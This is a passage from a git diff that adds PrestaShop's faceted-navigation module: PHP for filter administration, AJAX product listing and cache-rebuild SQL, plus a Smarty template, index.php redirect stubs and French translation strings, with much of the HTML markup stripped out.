Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT fl.id_feature, fl.name, COUNT(DISTINCT(fv.id_feature_value)) n + FROM '._DB_PREFIX_.'feature_lang fl + LEFT JOIN '._DB_PREFIX_.'feature_value fv ON (fv.id_feature = fl.id_feature) + '.(count($category_box) ? ' + LEFT JOIN '._DB_PREFIX_.'feature_product fp ON (fp.id_feature = fv.id_feature) + LEFT JOIN '._DB_PREFIX_.'category_product cp ON (cp.id_product = fp.id_product)' : '').' + WHERE (fv.custom IS NULL OR fv.custom = 0) AND fl.id_lang = '.(int)$cookie->id_lang. + (count($category_box) ? ' AND cp.id_category IN ('.implode(',', $category_box).')' : '').' + GROUP BY fl.id_feature'); + + $n_elements = count($attribute_groups) + count($features) + 4; + if ($n_elements > 20) + $n_elements = 20; + + $html = ' +
      +

      '.$this->l('Available filters').' (0)

      +
        +
          +
        • + + + '.$this->l('Sub-categories filter').' + + + +
        • +
        +
          +
        • + + '.$this->l('Product stock filter').' + + + +
        • +
        +
          +
        • + + + '.$this->l('Product condition filter').' + + + +
        • +
        +
          +
        • + + + '.$this->l('Product manufacturer filter').' + + + +
        • +
        +
          +
        • + + + '.$this->l('Product weight filter (slider)').' + + + +
        • +
        +
          +
        • + + + '.$this->l('Product price filter (slider)').' + + + +
        • +
        '; + + if (count($attribute_groups)) + { + $html .= '
          '; + foreach ($attribute_groups as $attribute_group) + $html .= ' +
        • + + + + '.($attribute_group['n'] > 1 ? sprintf($this->l('Attribute group: %1$s (%2$d attributes)'), $attribute_group['name'], $attribute_group['n']) : sprintf($this->l('Attribute group: %1$s (%2$d attribute)'), $attribute_group['name'], $attribute_group['n'])).')'. + ($attribute_group['is_color_group'] ? ' ' : '').' + + + +
        • '; + $html .= '
        '; + } + + if (count($features)) + { + $html .= '
          '; + foreach ($features as $feature) + $html .= ' +
        • + + + + '.($feature['n'] > 1 ? sprintf($this->l('Feature: %1$s (%2$d values)'), $feature['name'], $feature['n']) : sprintf($this->l('Feature: %1$s (%2$d value)'), $feature['name'], $feature['n'])).') + + + +
        • '; + $html .= '
        '; + } + + $html .= ' +
        '; + + if (isset($layered_values)) + { + $html .= ' + '; + } + + if (version_compare(_PS_VERSION_,'1.5','>') && !empty($id_layered_filter)) + { + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_ALL) + { + $shops = Shop::getShops(true, null, true); + if (count($shops) > 1) + { + $helper = new HelperForm(); + $helper->id = (int)$id_layered_filter; + $helper->table = 'layered_filter'; + $helper->identifier = 'id_layered_filter'; + $helper->base_folder = Tools::getValue('base_folder').'/themes/default/template/helpers/form/'; + + $html .= ' +
        '.$helper->renderAssoShop().'
        + '; + } + } + } + + return $html; + } + + public function ajaxCall() + { + global $smarty; + + $selected_filters = $this->getSelectedFilters(); + + $this->getProducts($selected_filters, $products, $nb_products, $p, $n, $pages_nb, $start, $stop, $range); + + // Add pagination variable + $nArray = (int)Configuration::get('PS_PRODUCTS_PER_PAGE') != 10 ? array((int)Configuration::get('PS_PRODUCTS_PER_PAGE'), 10, 20, 50) : array(10, 20, 50); + // Clean duplicate values + $nArray = array_unique($nArray); + asort($nArray); + + $smarty->assign( + array( + 'homeSize' => Image::getSize(ImageType::getFormatedName('home')), + 'nb_products' => $nb_products, + 'category' => (object)array('id' => Tools::getValue('id_category_layered', 1)), + 'pages_nb' => (int)($pages_nb), + 'p' => (int)$p, + 'n' => (int)$n, + 'range' => (int)$range, + 'start' => (int)$start, + 'stop' => (int)$stop, + 'n_array' => ((int)Configuration::get('PS_PRODUCTS_PER_PAGE') != 10) ? array((int)Configuration::get('PS_PRODUCTS_PER_PAGE'), 10, 20, 50) : array(10, 20, 50), + 'comparator_max_item' => (int)(Configuration::get('PS_COMPARATOR_MAX_ITEM')), + 'products' => $products, + 'products_per_page' => (int)Configuration::get('PS_PRODUCTS_PER_PAGE'), + 'static_token' => Tools::getToken(false), + 'page_name' => 'category', + 'nArray' => $nArray, + ) + ); + + // Prevent bug with old template where category.tpl contain the title of the category and category-count.tpl do not exists + if (file_exists(_PS_THEME_DIR_.'category-count.tpl')) + $category_count = $smarty->fetch(_PS_THEME_DIR_.'category-count.tpl'); + else + $category_count = ''; + + if ($nb_products == 0) + $product_list = $this->display(__FILE__, 'blocklayered-no-products.tpl'); + else + $product_list = $smarty->fetch(_PS_THEME_DIR_.'product-list.tpl'); + + /* We are sending an array in jSon to the .js controller, it will update both the filters and the products zones */ + return Tools::jsonEncode(array( + 'filtersBlock' => utf8_encode($this->generateFiltersBlock($selected_filters)), + 'productList' => utf8_encode($product_list), + 'pagination' => $smarty->fetch(_PS_THEME_DIR_.'pagination.tpl'), + 'categoryCount' => $category_count)); + } + + public function getProducts($selected_filters, &$products, &$nb_products, &$p, &$n, &$pages_nb, &$start, &$stop, &$range) + { + global $cookie; + + $products = $this->getProductByFilters($selected_filters); + $products = Product::getProductsProperties((int)$cookie->id_lang, $products); + + $nb_products = $this->nbr_products; + $range = 2; /* how many pages around page selected */ + + $n = (int)Tools::getValue('n', Configuration::get('PS_PRODUCTS_PER_PAGE')); + $p = $this->page; + + if ($p < 0) + $p = 0; + + if ($p > ($nb_products / $n)) + $p = ceil($nb_products / $n); + $pages_nb = ceil($nb_products / (int)($n)); + + $start = (int)($p - $range); + if ($start < 1) + $start = 1; + + $stop = (int)($p + $range); + if ($stop > $pages_nb) + $stop = (int)($pages_nb); + } + + public function rebuildLayeredStructure() + { + @set_time_limit(0); + + /* Set memory limit to 128M only if current is lower */ + $memory_limit = @ini_get('memory_limit'); + if (substr($memory_limit, -1) != 'G' && ((substr($memory_limit, -1) == 'M' && substr($memory_limit, 0, -1) < 128) || is_numeric($memory_limit) && (intval($memory_limit) < 131072))) + @ini_set('memory_limit', '128M'); + + /* Delete and re-create the layered categories table */ + Db::getInstance()->execute('DROP TABLE IF EXISTS '._DB_PREFIX_.'layered_category'); + Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'layered_category` ( + `id_layered_category` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT, + `id_shop` INT(11) UNSIGNED NOT NULL, + `id_category` INT(10) UNSIGNED NOT NULL, + `id_value` INT(10) UNSIGNED NULL DEFAULT \'0\', + `type` ENUM(\'category\',\'id_feature\',\'id_attribute_group\',\'quantity\',\'condition\',\'manufacturer\',\'weight\',\'price\') NOT NULL, + `position` INT(10) UNSIGNED NOT NULL, + `filter_type` int(10) UNSIGNED NOT NULL DEFAULT 0, + `filter_show_limit` int(10) UNSIGNED NOT NULL DEFAULT 0, + PRIMARY KEY (`id_layered_category`), + KEY `id_category` (`id_category`,`type`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=latin1 AUTO_INCREMENT=1;'); /* MyISAM + latin1 = Smaller/faster */ + + Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'layered_filter` ( + `id_layered_filter` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY, + `name` VARCHAR(64) NOT NULL, + `filters` TEXT NULL, + `n_categories` INT(10) UNSIGNED NOT NULL, + `date_add` DATETIME NOT NULL + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8;'); + + Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'layered_filter_shop` ( + `id_layered_filter` INT(10) UNSIGNED NOT NULL, + `id_shop` INT(11) UNSIGNED NOT NULL, + PRIMARY KEY (`id_layered_filter`, `id_shop`), + KEY `id_shop` (`id_shop`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8;'); + } + + public function rebuildLayeredCache($products_ids = array(), $categories_ids = array()) + { + @set_time_limit(0); + + $filter_data = array('categories' => array()); + + /* Set memory limit to 128M only if current is lower */ + $memory_limit = @ini_get('memory_limit'); + if (substr($memory_limit, -1) != 'G' && ((substr($memory_limit, -1) == 'M' && substr($memory_limit, 0, -1) < 128) || is_numeric($memory_limit) && (intval($memory_limit) < 131072))) + @ini_set('memory_limit', '128M'); + + $db = Db::getInstance(_PS_USE_SQL_SLAVE_); + $n_categories = array(); + $done_categories = array(); + $alias = 'p'; + $join_product_attribute = $join_product = ''; + if (version_compare(_PS_VERSION_,'1.5','>')) + { + $alias = 'product_shop'; + $join_product = Shop::addSqlAssociation('product', 'p'); + $join_product_attribute = Shop::addSqlAssociation('product_attribute', 'pa'); + } + + $attribute_groups = self::query(' + SELECT a.id_attribute, a.id_attribute_group + FROM '._DB_PREFIX_.'attribute a + LEFT JOIN '._DB_PREFIX_.'product_attribute_combination pac ON (pac.id_attribute = a.id_attribute) + LEFT JOIN '._DB_PREFIX_.'product_attribute pa ON (pa.id_product_attribute = pac.id_product_attribute) + LEFT JOIN '._DB_PREFIX_.'product p ON (p.id_product = pa.id_product) + '.$join_product.$join_product_attribute.' + LEFT JOIN '._DB_PREFIX_.'category_product cp ON (cp.id_product = p.id_product) + LEFT JOIN '._DB_PREFIX_.'category c ON (c.id_category = cp.id_category) + WHERE c.active = 1'. + (count($categories_ids) ? ' AND cp.id_category IN ('.implode(',', $categories_ids).')' : '').' + AND '.$alias.'.active = 1'. + (count($products_ids) ? ' AND p.id_product IN ('.implode(',', $products_ids).')' : '')); + + $attribute_groups_by_id = array(); + while ($row = $db->nextRow($attribute_groups)) + $attribute_groups_by_id[(int)$row['id_attribute']] = (int)$row['id_attribute_group']; + + $features = self::query(' + SELECT fv.id_feature_value, fv.id_feature + FROM '._DB_PREFIX_.'feature_value fv + LEFT JOIN '._DB_PREFIX_.'feature_product fp ON (fp.id_feature_value = fv.id_feature_value) + LEFT JOIN '._DB_PREFIX_.'product p ON (p.id_product = fp.id_product) + '.$join_product.' + LEFT JOIN '._DB_PREFIX_.'category_product cp ON (cp.id_product = p.id_product) + LEFT JOIN '._DB_PREFIX_.'category c ON (c.id_category = cp.id_category) + WHERE (fv.custom IS NULL OR fv.custom = 0) AND c.active = 1'.(count($categories_ids) ? ' AND cp.id_category IN ('.implode(',', $categories_ids).')' : '').' + AND '.$alias.'.active = 1'.(count($products_ids) ? ' AND p.id_product IN ('.implode(',', $products_ids).')' : '')); + + $features_by_id = array(); + while ($row = $db->nextRow($features)) + $features_by_id[(int)$row['id_feature_value']] = (int)$row['id_feature']; + + $result = self::query(' + SELECT p.id_product, + GROUP_CONCAT(DISTINCT fv.id_feature_value) features, + GROUP_CONCAT(DISTINCT cp.id_category) categories, + GROUP_CONCAT(DISTINCT pac.id_attribute) attributes + FROM '._DB_PREFIX_.'product p + LEFT JOIN '._DB_PREFIX_.'category_product cp ON (cp.id_product = p.id_product) + LEFT JOIN '._DB_PREFIX_.'category c ON (c.id_category = cp.id_category) + LEFT JOIN '._DB_PREFIX_.'feature_product fp ON (fp.id_product = p.id_product) + LEFT JOIN '._DB_PREFIX_.'feature_value fv ON (fv.id_feature_value = fp.id_feature_value) + LEFT JOIN '._DB_PREFIX_.'product_attribute pa ON (pa.id_product = p.id_product) + '.$join_product.$join_product_attribute.' + LEFT JOIN '._DB_PREFIX_.'product_attribute_combination pac ON (pac.id_product_attribute = pa.id_product_attribute) + WHERE c.active = 1'.(count($categories_ids) ? ' AND cp.id_category IN ('.implode(',', $categories_ids).')' : ''). + ' AND '.$alias.'.active = 1'. + (count($products_ids) ? ' AND p.id_product IN ('.implode(',', $products_ids).')' : ''). + ' AND (fv.custom IS NULL OR fv.custom = 0) + GROUP BY p.id_product'); + + + if (version_compare(_PS_VERSION_,'1.5','>')) + $shop_list = Shop::getShops(false, null, true); + else + $shop_list = array(0); + + $to_insert = false; + while ($product = $db->nextRow($result)) + { + $a = $c = $f = array(); + if (!empty($product['attributes'])) + $a = array_flip(explode(',', $product['attributes'])); + if (!empty($product['categories'])) + $c = array_flip(explode(',', $product['categories'])); + if (!empty($product['features'])) + $f = array_flip(explode(',', $product['features'])); + + $filter_data['shop_list'] = $shop_list; + + foreach ($shop_list as $id_shop) + { + foreach ($c as $id_category => $category) + { + if (!in_array($id_category, $filter_data['categories'])) + $filter_data['categories'][] = $id_category; + + if (!isset($n_categories[(int)$id_category])) + $n_categories[(int)$id_category] = 1; + if (!isset($done_categories[(int)$id_category]['cat'])) + { + $filter_data['layered_selection_subcategories'] = array('filter_type' => 0, 'filter_show_limit' => 0); + $done_categories[(int)$id_category]['cat'] = true; + $to_insert = true; + } + foreach ($a as $k_attribute => $attribute) + if (!isset($done_categories[(int)$id_category]['a'.(int)$attribute_groups_by_id[(int)$k_attribute]])) + { + $filter_data['layered_selection_ag_'.(int)$attribute_groups_by_id[(int)$k_attribute]] = array('filter_type' => 0, 'filter_show_limit' => 0); + $done_categories[(int)$id_category]['a'.(int)$attribute_groups_by_id[(int)$k_attribute]] = true; + $to_insert = true; + } + foreach ($f as $k_feature => $feature) + if (!isset($done_categories[(int)$id_category]['f'.(int)$features_by_id[(int)$k_feature]])) + { + $filter_data['layered_selection_feat_'.(int)$features_by_id[(int)$k_feature]] = array('filter_type' => 0, 'filter_show_limit' => 0); + $done_categories[(int)$id_category]['f'.(int)$features_by_id[(int)$k_feature]] = true; + $to_insert = true; + } + if (!isset($done_categories[(int)$id_category]['q'])) + { + $filter_data['layered_selection_stock'] = array('filter_type' => 0, 'filter_show_limit' => 0); + $done_categories[(int)$id_category]['q'] = true; + $to_insert = true; + } + if (!isset($done_categories[(int)$id_category]['m'])) + { + $filter_data['layered_selection_manufacturer'] = array('filter_type' => 0, 'filter_show_limit' => 0); + $done_categories[(int)$id_category]['m'] = true; + $to_insert = true; + } + if (!isset($done_categories[(int)$id_category]['c'])) + { + $filter_data['layered_selection_condition'] = array('filter_type' => 0, 'filter_show_limit' => 0); + $done_categories[(int)$id_category]['c'] = true; + $to_insert = true; + } + if (!isset($done_categories[(int)$id_category]['w'])) + { + $filter_data['layered_selection_weight_slider'] = array('filter_type' => 0, 'filter_show_limit' => 0); + $done_categories[(int)$id_category]['w'] = true; + $to_insert = true; + } + if (!isset($done_categories[(int)$id_category]['p'])) + { + $filter_data['layered_selection_price_slider'] = array('filter_type' => 0, 'filter_show_limit' => 0); + $done_categories[(int)$id_category]['p'] = true; + $to_insert = true; + } + } + } + } + if ($to_insert) + { + Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'layered_filter(name, filters, n_categories, date_add) + VALUES (\''.sprintf($this->l('My template %s'), date('Y-m-d')).'\', \''.pSQL(serialize($filter_data)).'\', '.count($filter_data['categories']).', NOW())'); + + if (version_compare(_PS_VERSION_,'1.5','>')) + { + $last_id = Db::getInstance()->Insert_ID(); + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'layered_filter_shop WHERE `id_layered_filter` = '.$last_id); + foreach ($shop_list as $id_shop) + Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'layered_filter_shop (`id_layered_filter`, `id_shop`) + VALUES('.$last_id.', '.(int)$id_shop.')'); + } + + $this->buildLayeredCategories(); + } + } + + public function buildLayeredCategories() + { + // Get all filter template + $res = Db::getInstance()->executeS('SELECT * FROM '._DB_PREFIX_.'layered_filter ORDER BY date_add DESC'); + $categories = array(); + + // Remove all from layered_category + Db::getInstance()->execute('TRUNCATE '._DB_PREFIX_.'layered_category'); + + if (!count($res)) // No filters templates defined, nothing else to do + return true; + + $sql_to_insert = 'INSERT INTO '._DB_PREFIX_.'layered_category (id_category, id_shop, id_value, type, position, filter_show_limit, filter_type) VALUES '; + $values = false; + foreach ($res as $filter_template) + { + $data = self::unSerialize($filter_template['filters']); + foreach ($data['categories'] as $id_category) + { + $n = 0; + if (!in_array($id_category, $categories)) // Last definition, erase preivious categories defined + { + $categories[] = $id_category; + foreach ($data as $key => $value) + if (substr($key, 0, 17) == 'layered_selection') + { + $values = true; + $type = $value['filter_type']; + $limit = $value['filter_show_limit']; + $n++; + + foreach ($data['shop_list'] as $id_shop) + { + if ($key == 'layered_selection_stock') + $sql_to_insert .= '('.(int)$id_category.', '.(int)$id_shop.', NULL,\'quantity\','.(int)$n.', '.(int)$limit.', '.(int)$type.'),'; + else if ($key == 'layered_selection_subcategories') + $sql_to_insert .= '('.(int)$id_category.', '.(int)$id_shop.', NULL,\'category\','.(int)$n.', '.(int)$limit.', '.(int)$type.'),'; + else if ($key == 'layered_selection_condition') + $sql_to_insert .= '('.(int)$id_category.', '.(int)$id_shop.', NULL,\'condition\','.(int)$n.', '.(int)$limit.', '.(int)$type.'),'; + else if ($key == 'layered_selection_weight_slider') + $sql_to_insert .= '('.(int)$id_category.', '.(int)$id_shop.', NULL,\'weight\','.(int)$n.', '.(int)$limit.', '.(int)$type.'),'; + else if ($key == 'layered_selection_price_slider') + $sql_to_insert .= '('.(int)$id_category.', '.(int)$id_shop.', NULL,\'price\','.(int)$n.', '.(int)$limit.', '.(int)$type.'),'; + else if ($key == 'layered_selection_manufacturer') + $sql_to_insert .= '('.(int)$id_category.', '.(int)$id_shop.', NULL,\'manufacturer\','.(int)$n.', '.(int)$limit.', '.(int)$type.'),'; + else if (substr($key, 0, 21) == 'layered_selection_ag_') + $sql_to_insert .= '('.(int)$id_category.', '.(int)$id_shop.', '.(int)str_replace('layered_selection_ag_', '', $key).', + \'id_attribute_group\','.(int)$n.', '.(int)$limit.', '.(int)$type.'),'; + else if (substr($key, 0, 23) == 'layered_selection_feat_') + $sql_to_insert .= '('.(int)$id_category.', '.(int)$id_shop.', '.(int)str_replace('layered_selection_feat_', '', $key).', + \'id_feature\','.(int)$n.', '.(int)$limit.', '.(int)$type.'),'; + } + } + } + } + } + if ($values) + Db::getInstance()->execute(rtrim($sql_to_insert, ',')); + } + + /** + * Define our own Tools::unSerialize() (since 1.5), to be available in PrestaShop 1.4 + */ + protected static function unSerialize($serialized) + { + if (method_exists('Tools', 'unserialize')) + return Tools::unSerialize($serialized); + + if (is_string($serialized) && (strpos($serialized, 'O:') === false || !preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized))) + return @unserialize($serialized); + + return false; + } +} diff --git a/modules/blocklayered/blocklayered.tpl b/modules/blocklayered/blocklayered.tpl new file mode 100755 index 0000000..f210244 --- /dev/null +++ b/modules/blocklayered/blocklayered.tpl @@ -0,0 +1,257 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registred Trademark & Property of PrestaShop SA +*} + + +{if $nbr_filterBlocks != 0} + +
        +

        {l s='Catalog' mod='blocklayered'}

        +
        +
        +
        + {if isset($selected_filters) && $n_filters > 0} +
        + {l s='Enabled filters:' mod='blocklayered'} +
          + {foreach from=$selected_filters key=filter_type item=filter_values} + {foreach from=$filter_values key=filter_key item=filter_value name=f_values} + {foreach from=$filters item=filter} + {if $filter.type == $filter_type && isset($filter.values)} + {if isset($filter.slider)} + {if $smarty.foreach.f_values.first} +
        • + x + {$filter.name|escape:html:'UTF-8'}{l s=':' mod='blocklayered'} + {if $filter.format} + {displayPrice price=$filter.values[0]} - + {displayPrice price=$filter.values[1]} + {else} + {$filter.values[0]|escape:html:'UTF-8'}{$filter.unit|escape:html:'UTF-8'} - + {$filter.values[1]|escape:html:'UTF-8'}{$filter.unit|escape:html:'UTF-8'} + {/if} +
        • + {/if} + {else} + {foreach from=$filter.values key=id_value item=value} + {if $id_value == $filter_key && !is_numeric($filter_value) && ($filter.type eq 'id_attribute_group' || $filter.type eq 'id_feature') || $id_value == $filter_value && $filter.type neq 'id_attribute_group' && $filter.type neq 'id_feature'} +
        • + x + {$filter.name|escape:html:'UTF-8'}{l s=':' mod='blocklayered'} {$value.name|escape:html:'UTF-8'} +
        • + {/if} + {/foreach} + {/if} + {/if} + {/foreach} + {/foreach} + {/foreach} +
        +
        + {/if} + {foreach from=$filters item=filter} + {if isset($filter.values)} + {if isset($filter.slider)} + + + {foreach from=$filters item=filter} + {if $filter.type_lite == 'id_attribute_group' && isset($filter.is_color_group) && $filter.is_color_group && $filter.filter_type != 2} + {foreach from=$filter.values key=id_value item=value} + {if isset($value.checked)} + + {/if} + {/foreach} + {/if} + {/foreach} + +
        + +
        +{else} +
        +
        +
        + +
        +
        +
        +


        {l s='Loading...' mod='blocklayered'}

        +
        +
        +{/if} + diff --git a/modules/blocklayered/delete.gif b/modules/blocklayered/delete.gif new file mode 100755 index 0000000..6d186d1 Binary files /dev/null and b/modules/blocklayered/delete.gif differ diff --git a/modules/blocklayered/img/icon/index.php b/modules/blocklayered/img/icon/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocklayered/img/icon/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocklayered/img/icon/less.gif b/modules/blocklayered/img/icon/less.gif new file mode 100755 index 0000000..52928a2 Binary files /dev/null and b/modules/blocklayered/img/icon/less.gif differ diff --git a/modules/blocklayered/img/icon/more.gif b/modules/blocklayered/img/icon/more.gif new file mode 100755 index 0000000..072e49d Binary files /dev/null and b/modules/blocklayered/img/icon/more.gif differ diff --git a/modules/blocklayered/img/index.php b/modules/blocklayered/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocklayered/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocklayered/index.php b/modules/blocklayered/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocklayered/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocklayered/logo.gif b/modules/blocklayered/logo.gif new file mode 100755 index 0000000..659aace Binary files /dev/null and b/modules/blocklayered/logo.gif differ diff --git a/modules/blocklayered/logo.png b/modules/blocklayered/logo.png new file mode 100755 index 0000000..870380d Binary files /dev/null and b/modules/blocklayered/logo.png differ diff --git a/modules/blocklayered/translations/fr.php b/modules/blocklayered/translations/fr.php new file mode 100755 index 0000000..d25b65d --- /dev/null +++ b/modules/blocklayered/translations/fr.php @@ -0,0 +1,138 @@ +blocklayered-no-products_5c9838becf9bbce28ba90a7426daf171'] = 'Il n\'y a pas de produit.'; +$_MODULE['<{blocklayered}prestashop>blocklayered_84241e458cdd5162745500a59a3680f3'] = 'Bloc navigation à facettes'; +$_MODULE['<{blocklayered}prestashop>blocklayered_2d08fa8e157fe3f1875402cbd98aee1b'] = 'Affiche un bloc avec les filtres de la navigation à facettes'; +$_MODULE['<{blocklayered}prestashop>blocklayered_3b3d06023f6353f8fd05f859b298573e'] = 'URL'; +$_MODULE['<{blocklayered}prestashop>blocklayered_6252c0f2c2ed83b7b06dfca86d4650bb'] = 'Les caractères invalides :'; +$_MODULE['<{blocklayered}prestashop>blocklayered_f39f64ad2722b269d9b6cb2ec97ba4ad'] = 'Format spécifique pour la génération des URL pour la navigation à facettes'; +$_MODULE['<{blocklayered}prestashop>blocklayered_7b250cb374c12c42a75227ba75df7779'] = 'Titre Méta :'; +$_MODULE['<{blocklayered}prestashop>blocklayered_a4020753b3e63fd8a1d0c0b2b33fc999'] = 'Format spécifique pour le titre méta'; +$_MODULE['<{blocklayered}prestashop>blocklayered_b3786b970611c1a3809dd51b630812a7'] = '\"%s\" n\'est pas une URL valable'; +$_MODULE['<{blocklayered}prestashop>blocklayered_c3ef60194d18cf4026d22051b3a19428'] = 'Indexable :'; +$_MODULE['<{blocklayered}prestashop>blocklayered_a075d40d1a15460220cbf564b7b9b591'] = 'Utilise cet attribut dans l\'URL générée par le module de bloc de navigation à facette'; +$_MODULE['<{blocklayered}prestashop>blocklayered_ccc12c5568381293a27db0232877937b'] = 'Nom du modèle de filtre nécessaire (ne doit être vide)'; +$_MODULE['<{blocklayered}prestashop>blocklayered_817c37b9c1f5cd4a450dad384e63e6c7'] = 'Votre filtre'; +$_MODULE['<{blocklayered}prestashop>blocklayered_3185cefd67b575e582063148e4f15860'] = 'a été mis à jour avec succès.'; +$_MODULE['<{blocklayered}prestashop>blocklayered_7ccab4d8de5d6b9bb61e99c7bba343ab'] = 'a été ajouté avec succès.'; +$_MODULE['<{blocklayered}prestashop>blocklayered_fe016d3b990c2a9dd72ab6b45892f2ae'] = 'Paramètres enregistrés avec succès'; +$_MODULE['<{blocklayered}prestashop>blocklayered_0d07af70081a2421e2b2972609d699db'] = 'Modèle de filtres supprimé, catégories mises à jour (modèle par défaut appliqué).'; +$_MODULE['<{blocklayered}prestashop>blocklayered_491f46aa6101560e9f1e0d55a063231b'] = 'Modèle de filtres introuvable'; +$_MODULE['<{blocklayered}prestashop>blocklayered_09da2b6f1217055bb22caa6ea08d9b80'] = 'Navigation à facettes'; +$_MODULE['<{blocklayered}prestashop>blocklayered_df2bbc994d10995dcffdf96dbb7acbb1'] = 'Index et les caches'; +$_MODULE['<{blocklayered}prestashop>blocklayered_ad3e7eb269d8ba0ac388267627f45b5a'] = 'Une indexation est en cours. Veuillez ne pas fermer cette page'; +$_MODULE['<{blocklayered}prestashop>blocklayered_5e2420d2318025812dc3e231ddb66b0b'] = 'Indexer les prix manquants'; +$_MODULE['<{blocklayered}prestashop>blocklayered_9612e005e96ad32b8830be4d0377e7e6'] = 'Réindexer l\'intégralité des prix'; +$_MODULE['<{blocklayered}prestashop>blocklayered_d47f700b6db025d98cae0b340ed847e9'] = 'Indexer les attributs'; +$_MODULE['<{blocklayered}prestashop>blocklayered_341ce134fbec9978d185ff533931b1b3'] = 'Indexer les URLs'; +$_MODULE['<{blocklayered}prestashop>blocklayered_53795c3624ae2361363780589aa2aa42'] = 'Vous pouvez définir une tâche cron pour réindexer les prix en utilisant l\'URL suivante :'; +$_MODULE['<{blocklayered}prestashop>blocklayered_94f6d9bfb2c36037040b5764e73dca47'] = 'Vous pouvez définir une tâche cron pour réindexer les URL en utilisant l\'URL suivante:'; +$_MODULE['<{blocklayered}prestashop>blocklayered_e43b32b88c77e49f06144cd1ffaeba96'] = 'Vous pouvez définir une tâche cron pour réindexer les attributs à l\'aide de l\'URL suivante:'; +$_MODULE['<{blocklayered}prestashop>blocklayered_16349835364cf839e6670b0de7da6362'] = 'Il est recommandé de procéder à la réindexation de nuit.'; +$_MODULE['<{blocklayered}prestashop>blocklayered_56fc8142961f1f3e9f9ec0c178881b69'] = '(en cours)'; +$_MODULE['<{blocklayered}prestashop>blocklayered_4c0d1a1d7b01bec7b820c0655dda7b1f'] = 'Indexation des URL terminée'; +$_MODULE['<{blocklayered}prestashop>blocklayered_8bf466a25752f2552df8dc8b04fc10ba'] = 'Indexation des attributs terminée'; +$_MODULE['<{blocklayered}prestashop>blocklayered_b5ca9d41e254963a90417fe12bafba5a'] = 'L\'indexation des URL a échoué'; +$_MODULE['<{blocklayered}prestashop>blocklayered_399e951fec4faaeab09333f40bf6d80c'] = 'L\'Indexation des attributs a échoué'; +$_MODULE['<{blocklayered}prestashop>blocklayered_e2dd8f544131eaf47a4f722ace7f876b'] = 'Indexation des prix terminée'; +$_MODULE['<{blocklayered}prestashop>blocklayered_7cf7d150dd287df0a8e17eeb4cf2161d'] = '(en cours, %s des prix de produits à indexer)'; +$_MODULE['<{blocklayered}prestashop>blocklayered_ceda32b8540dee4f1222cd482a513db8'] = 'L\'indexation des prix a échoué'; +$_MODULE['<{blocklayered}prestashop>blocklayered_a2654ab6d514d63a3be2a4d6ea6b39df'] = 'Modèles de filtres existants'; +$_MODULE['<{blocklayered}prestashop>blocklayered_d4041fbb1580b68012b82fee850014a2'] = 'modèles de filtres sont configurés :'; +$_MODULE['<{blocklayered}prestashop>blocklayered_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{blocklayered}prestashop>blocklayered_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{blocklayered}prestashop>blocklayered_af1b98adf7f686b84cd0b443e022b7a0'] = 'Catégories'; +$_MODULE['<{blocklayered}prestashop>blocklayered_f7f19392da30e81c3abf433ce7b8ca38'] = 